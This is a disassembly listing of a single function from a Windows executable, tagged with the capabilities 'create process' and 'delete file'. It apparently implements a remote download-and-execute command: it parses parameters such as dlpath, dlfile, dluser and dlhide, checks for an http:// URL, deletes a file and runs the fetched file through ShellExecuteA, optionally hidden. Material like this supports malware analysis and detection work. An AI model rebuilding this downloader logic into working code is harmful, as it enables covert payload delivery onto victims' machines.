Function at 0x405990
Capabilities:
Create process on windows
Delete file

Disassembly:
mov eax, 0x417bb8
call fcn.00407e74
sub esp, 0x3c
push ebx
push esi
push edi
and dword [ebp - 4], 0
mov esi, 0x420ec0
push esi
lea ecx, [ebp - 0x1c]
call fcn.004104fc
push esi
lea ecx, [ebp - 0x18]
mov byte [ebp - 4], 1
call fcn.004104fc
push esi
lea ecx, [ebp - 0x20]
mov byte [ebp - 4], 2
call fcn.004104fc
push esi
lea ecx, [ebp - 0x14]
mov byte [ebp - 4], 3
call fcn.004104fc
push str.dlpath
lea ecx, [ebp + 8]
mov byte [ebp - 4], 4
call fcn.0040f865
mov edi, eax
or ebx, 0xffffffff
cmp edi, ebx
je 0x405a40
push 1
lea ecx, [ebp + 8]
call fcn.004107e9
lea eax, [eax + edi + 7]
push eax
lea eax, [ebp - 0x24]
push eax
call fcn.004054bf
pop ecx
pop ecx
push eax
lea ecx, [ebp - 0x1c]
mov byte [ebp - 4], 5
call fcn.0041057b
lea ecx, [ebp - 0x24]
mov byte [ebp - 4], 4
call fcn.004104d2
push str.http:__
lea ecx, [ebp - 0x1c]
call fcn.0040f865
cmp eax, ebx
jne 0x405a40
push esi
lea ecx, [ebp - 0x1c]
call fcn.004105cb
push str.dlfile
lea ecx, [ebp + 8]
call fcn.0040f865
mov edi, eax
cmp edi, ebx
je 0x405a86
push 1
lea ecx, [ebp + 8]
call fcn.004107e9
lea eax, [eax + edi + 7]
push eax
lea eax, [ebp - 0x24]
push eax
call fcn.004054bf
pop ecx
pop ecx
push eax
lea ecx, [ebp - 0x18]
mov byte [ebp - 4], 6
call fcn.0041057b
lea ecx, [ebp - 0x24]
mov byte [ebp - 4], 4
call fcn.004104d2
push esi
push dword [ebp - 0x1c]
call fcn.00407fdf
pop ecx
test eax, eax
pop ecx
je 0x405cbc
push esi
push dword [ebp - 0x18]
call fcn.00407fdf
pop ecx
test eax, eax
pop ecx
je 0x405cbc
push str.dluser
lea ecx, [ebp + 8]
call fcn.0040f865
mov edi, eax
cmp edi, ebx
je 0x405af2
push 1
lea ecx, [ebp + 8]
call fcn.004107e9
lea eax, [eax + edi + 7]
push eax
lea eax, [ebp - 0x24]
push eax
call fcn.004054bf
pop ecx
pop ecx
push eax
lea ecx, [ebp - 0x20]
mov byte [ebp - 4], 7
call fcn.0041057b
lea ecx, [ebp - 0x24]
mov byte [ebp - 4], 4
call fcn.004104d2
push str.dlpara
lea ecx, [ebp + 8]
call fcn.0040f865
mov edi, eax
cmp edi, ebx
je 0x405b38
push 1
lea ecx, [ebp + 8]
call fcn.004107e9
lea eax, [eax + edi + 7]
push eax
lea eax, [ebp - 0x24]
push eax
call fcn.004054bf
pop ecx
pop ecx
push eax
lea ecx, [ebp - 0x14]
mov byte [ebp - 4], 8
call fcn.0041057b
lea ecx, [ebp - 0x24]
mov byte [ebp - 4], 4
call fcn.004104d2
xor edi, edi
push str.dlcove
lea ecx, [ebp + 8]
mov dword [ebp - 0x24], edi
call fcn.0040f865
cmp eax, ebx
je 0x405b55
mov dword [ebp - 0x24], 1
lea eax, [ebp - 0x10]
push eax
call fcn.00404c7f
lea ecx, [ebp - 0x10]
mov byte [ebp - 4], 9
mov dword [esp], 0x41f138
call fcn.004107aa
lea eax, [ebp - 0x18]
lea ecx, [ebp - 0x10]
push eax
call fcn.004107d1
push edi
push dword [ebp - 0x10]
call fcn.00408917
pop ecx
cmp eax, ebx
pop ecx
je 0x405b95
cmp dword [ebp - 0x24], edi
je 0x405c18
cmp dword [ebp - 0x24], edi
je 0x405bbb
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x24]
push eax
call fcn.00410671
push dword [eax]
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea ecx, [ebp - 0x24]
call fcn.004104d2
lea ecx, [ebp - 0x48]
call fcn.00403332
push ebx
push edi
lea ecx, [ebp - 0x3c]
mov byte [ebp - 4], 0xa
call fcn.0040fcfb
lea eax, [ebp - 0x18]
lea ecx, [ebp - 0x3c]
push eax
push dword [ebp - 0x34]
call fcn.0040fe44
push 1
lea ecx, [ebp - 0x1c]
call fcn.00405d06
push ecx
mov ecx, esp
mov dword [ebp - 0x24], esp
push eax
call fcn.004104fc
lea ecx, [ebp - 0x48]
call fcn.004033d4
cmp eax, edi
mov byte [ebp - 4], 9
lea ecx, [ebp - 0x48]
jne 0x405c13
call fcn.00403398
jmp 0x405cb0
call fcn.00403398
cmp dword [ebp + 0xc], edi
je 0x405cb0
lea eax, [ebp - 0x10]
lea ecx, [ebp + 0xc]
push eax
call fcn.00410265
push esi
mov byte [ebp - 4], 0xb
push dword [ebp - 0x14]
call fcn.00407fdf
pop ecx
test eax, eax
pop ecx
je 0x405c59
push 0x41f5fc
lea ecx, [ebp + 0xc]
call fcn.004107aa
lea eax, [ebp - 0x14]
lea ecx, [ebp + 0xc]
push eax
call fcn.004107d1
push str.user
push dword [ebp - 0x20]
call fcn.00407fdf
pop ecx
test eax, eax
pop ecx
jne 0x405c7f
push 1
lea ecx, [ebp + 0xc]
call fcn.004107e9
push eax
call fcn.004042d8
pop ecx
jmp 0x405ca4
push str.dlhide
lea ecx, [ebp + 8]
call fcn.0040f865
cmp eax, ebx
je 0x405c93
push edi
jmp 0x405c95
push 5
push edi
push dword [ebp - 0x14]
push dword [ebp - 0x10]
push edi
push edi
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
lea ecx, [ebp + 0xc]
mov byte [ebp - 4], 9
call fcn.004104d2
lea ecx, [ebp - 0x10]
mov byte [ebp - 4], 4
call fcn.004104d2
lea ecx, [ebp - 0x14]
mov byte [ebp - 4], 3
call fcn.004104d2
lea ecx, [ebp - 0x20]
mov byte [ebp - 4], 2
call fcn.004104d2
lea ecx, [ebp - 0x18]
mov byte [ebp - 4], 1
call fcn.004104d2
and byte [ebp - 4], 0
lea ecx, [ebp - 0x1c]
call fcn.004104d2
lea ecx, [ebp + 8]
mov dword [ebp - 4], ebx
call fcn.004104d2
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret